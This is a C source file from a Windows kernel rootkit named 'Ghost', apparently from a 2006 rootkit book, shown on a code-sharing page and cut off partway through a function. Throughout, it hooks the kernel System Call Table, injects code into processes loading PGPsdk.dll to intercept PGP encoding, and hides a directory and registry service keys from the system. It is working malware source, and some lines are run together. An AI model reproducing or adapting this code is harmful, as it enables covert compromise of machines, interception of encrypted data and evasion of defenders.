📄 hookmanager.c
字号:
// hookManager
// Copyright Ric Vieler, 2006
// Hook the System Call Table
#include "ntddk.h"
#include "Ghost.h"
#include "hookManager.h"
#include "peFormat.h"
#include "injectManager.h"
#include "registryManager.h"
WCHAR g_hiddenDirectoryName[] = L"RootkitDirectory";
#define HIDDEN_DIR_NAME_LENGTH 32
// Add kernel hook(s)
NTSTATUS HookKernel( )
{
DWORD functionAddress;
DWORD position;
pMyMDL = MmCreateMdl( NULL,
KeServiceDescriptorTable.ServiceTableBase,
KeServiceDescriptorTable.NumberOfServices * 4 );
if( !pMyMDL )
return( STATUS_UNSUCCESSFUL );
MmBuildMdlForNonPagedPool( pMyMDL );
pMyMDL->MdlFlags = pMyMDL->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
NewSystemCallTable = MmMapLockedPages( pMyMDL, KernelMode );
if( !NewSystemCallTable )
return( STATUS_UNSUCCESSFUL );
// Need ZwProtectVirtualMemory to write into user memory.
// But it's not defined in ntddk.h so look for pattern
// searching backward from ZwPulseEvent
OldZwProtectVirtualMemory = findUnresolved(ZwPulseEvent);
if( OldZwProtectVirtualMemory == 0 )
return( STATUS_UNSUCCESSFUL );
// Add hooks here (remember to unhook if using DriverUnload)
HOOK( ZwMapViewOfSection, NewZwMapViewOfSection, OldZwMapViewOfSection );
InitializeKeyTracking();
HOOK( ZwOpenKey, NewZwOpenKey, OldZwOpenKey );
HOOK( ZwQueryKey, NewZwQueryKey, OldZwQueryKey );
HOOK( ZwEnumerateKey, NewZwEnumerateKey, OldZwEnumerateKey );
HOOK( ZwQueryDirectoryFile, NewZwQueryDirectoryFile, OldZwQueryDirectoryFile );
return( STATUS_SUCCESS );
}
// Process Inject Dynamic Link Libraries
NTSTATUS NewZwMapViewOfSection(
IN HANDLE SectionHandle,
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN ULONG CommitSize,
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
IN OUT PSIZE_T ViewSize,
IN SECTION_INHERIT InheritDisposition,
IN ULONG AllocationType,
IN ULONG Protect )
{
NTSTATUS status;
// First complete the standard mapping process
status = OldZwMapViewOfSection( SectionHandle,
ProcessHandle,
BaseAddress,
ZeroBits,
CommitSize,
SectionOffset OPTIONAL,
ViewSize,
InheritDisposition,
AllocationType,
Protect );
// Now remap as required ( imageOffset only known for versions 4 & 5 )
if( NT_SUCCESS( status ) && ( majorVersion == 4 || majorVersion == 5 ) )
{
unsigned int imageOffset = 0;
VOID* pSection = NULL;
unsigned int imageSection = FALSE;
HANDLE hRoot = NULL;
PUNICODE_STRING objectName = NULL;
PVOID pImageBase = NULL;
UNICODE_STRING library1 = { 0 };
UNICODE_STRING library2 = { 0 };
CALL_DATA_STRUCT callData[TOTAL_HOOKS] = { 0 }; int hooks2inject = 0;
// Image location higher in version 4
if( majorVersion == 4 )
imageOffset = 24;
if( ObReferenceObjectByHandle( SectionHandle,
SECTION_MAP_EXECUTE,
*MmSectionObjectType,
KernelMode,
&pSection,
NULL ) == STATUS_SUCCESS )
{
// Check to see if this is an image section
// If it is, get the root handle and the object name
_asm
{
mov edx, pSection
mov eax, [edx+14h]
add eax, imageOffset
mov edx, [eax]
test byte ptr [edx+20h], 20h
jz not_image_section
mov imageSection, TRUE
mov eax, [edx+24h]
mov edx, [eax+4]
mov hRoot, edx
add eax, 30h
mov objectName, eax
not_image_section:
}
if( BaseAddress )
pImageBase = *BaseAddress;
// Mapping a DLL
if( imageSection && pImageBase && objectName && objectName->Length > 0 )
{
// define libraries of interest
RtlInitUnicodeString( &library1, L"kernel32.dll" );
RtlInitUnicodeString( &library2, L"PGPsdk.dll" );
if ( IsSameFile( &library1, objectName ) ) // kernel32
{
kernel32Base = pImageBase;
}
else if ( IsSameFile( &library2, objectName ) ) // PGPsdk
{
// Pattern for PGP 9.0 Encode
BYTE pattern1[] = { 0x55, 0x8B, 0xEC, 0x83, 0xE4, 0xF8, 0x81, 0xEC, \
0xFC, 0x00, 0x00, 0x00, 0x53, 0x33, 0xC0, 0x56, \
0x57, 0xB9, 0x26, 0x00, 0x00, 0x00, 0x8D, 0x7C, \
0x24, 0x18, 0xF3, 0xAB };
PVOID pfEncode = GetFunctionAddress( pImageBase, NULL, pattern1, sizeof(pattern1) );
if( !pfEncode )
{
// Pattern for PGP 9.5 Encode
BYTE pattern2[] = { 0x81, 0xEC, 0xFC, 0x00, 0x00, 0x00, 0x53, 0x55, \
0x33, 0xDB, 0x68, 0x98, 0x00, 0x00, 0x00, 0x8D, \
0x44, 0x24, 0x14, 0x53, 0x50, 0x89, 0x9C, 0x24, \
0xB4, 0x00, 0x00, 0x00 };
pfEncode = GetFunctionAddress( pImageBase, NULL, pattern2, sizeof(pattern2) );
}
if( pfEncode ) { hooks2inject = 1; callData[0].index = USERHOOK_beforeEncode; callData[0].hookFunction = pfEncode; callData[0].parameters = 2; callData[0].callType = CDECL_TYPE; callData[0].stackOffset = 0;
DbgPrint("comint32: NewZwMapViewOfSection pfEncode = %x",pfEncode);
} else { DbgPrint("comint32: PGP Encode not found."); } }
if( hooks2inject > 0 )
{
PCHAR injectedMemory;
// prepare memory
injectedMemory = allocateUserMemory();
// inject
if( !processInject( (CALL_DATA_STRUCT*)&callData, hooks2inject, injectedMemory ) )
{
DbgPrint("comint32: processInject failed!\n" );
}
}
}
ObDereferenceObject( pSection );
}
}
return status;
}
// used by GetKeyName// Get a pointer to an object from its handlePVOID GetPointerByHandle( HANDLE handle ){ PVOID pKey; NTSTATUS status; status = ObReferenceObjectByHandle( handle, 0, NULL, KernelMode, &pKey, NULL ); if( !NT_SUCCESS( status ) ) return NULL; if( pKey ) ObDereferenceObject( pKey ); return pKey;}// used by NewZwOpenKey// Get a registry key's name from its handlevoid GetKeyName( HANDLE hKey, PUNICODE_STRING* ppKeyName ){ PVOID pKey = NULL; PUNICODE_STRING unicodeString; PCHAR pBuffer; ULONG length; NTSTATUS status; *ppKeyName = NULL; pKey = GetPointerByHandle( hKey ); if( pKey ) { pBuffer = (PCHAR)ExAllocatePool( NonPagedPool, MAXKEYNAMELENGTH * 2 + sizeof(UNICODE_STRING) ); if( pBuffer ) { memset( pBuffer, 0, MAXKEYNAMELENGTH * 2 + sizeof(UNICODE_STRING) ); unicodeString = (PUNICODE_STRING)pBuffer; RtlInitEmptyUnicodeString( unicodeString, (PWCHAR)((DWORD)unicodeString + sizeof(UNICODE_STRING)), MAXKEYNAMELENGTH * 2 ); status = ObQueryNameString( pKey, (POBJECT_NAME_INFORMATION)unicodeString, MAXKEYNAMELENGTH, &length ); if( status == STATUS_SUCCESS )
*ppKeyName = unicodeString; return; } } return;}
// create an index that skips hidden subkeys
// when the parent key is \\Services
NTSTATUS NewZwOpenKey( OUT PHANDLE KeyHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ){
int status;
status = OldZwOpenKey(
KeyHandle,
DesiredAccess,
ObjectAttributes );
if( status == STATUS_SUCCESS )
{
// get the name of the key
PUNICODE_STRING pKeyName = NULL;
UNICODE_STRING servicesString = { 0 };
RtlInitUnicodeString( &servicesString, L"Services" );
GetKeyName( *KeyHandle, &pKeyName );
// create special index for the Services key
if( pKeyName )
{
// Using IsSameFile as IsSameKey function
if( IsSameFile( &servicesString, pKeyName ) )
{
DbgPrint("comint32: found g_servicesKey");
CreateHiddenKeyIndices( *KeyHandle );
}
ExFreePool( pKeyName );
}
}
return status;
}// return number of subkeys from special index// when the parent key is \\Services
NTSTATUS NewZwQueryKey( IN HANDLE KeyHandle, IN KEY_INFORMATION_CLASS KeyInformationClass, OUT PVOID KeyInformation, IN ULONG Length, OUT PULONG ResultLength ){
int status;
ULONG numberOfSubkeys = -1;
status = OldZwQueryKey(
KeyHandle,
KeyInformationClass,
KeyInformation,
Length,
ResultLength );
numberOfSubkeys = GetSubkeyCount( KeyHandle );
if( (status == STATUS_SUCCESS) && (numberOfSubkeys != -1) )
if( KeyFullInformation == KeyInformationClass )
if( KeyInformation )
((KEY_FULL_INFORMATION*)KeyInformation)->SubKeys = numberOfSubkeys;
return status;
}// return special index values
// when the parent key is \\Services
NTSTATUS NewZwEnumerateKey( IN HANDLE KeyHandle, IN ULONG Index, IN KEY_INFORMATION_CLASS KeyInformationClass, OUT PVOID KeyInformation, IN ULONG Length, OUT PULONG ResultLength ){ int status;
int new_index;
new_index = GetNewIndex( KeyHandle, Index );
if( new_index != -1 )
Index = new_index;
status = OldZwEnumerateKey(
KeyHandle,
Index,
KeyInformationClass,
KeyInformation,
Length,
ResultLength );
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -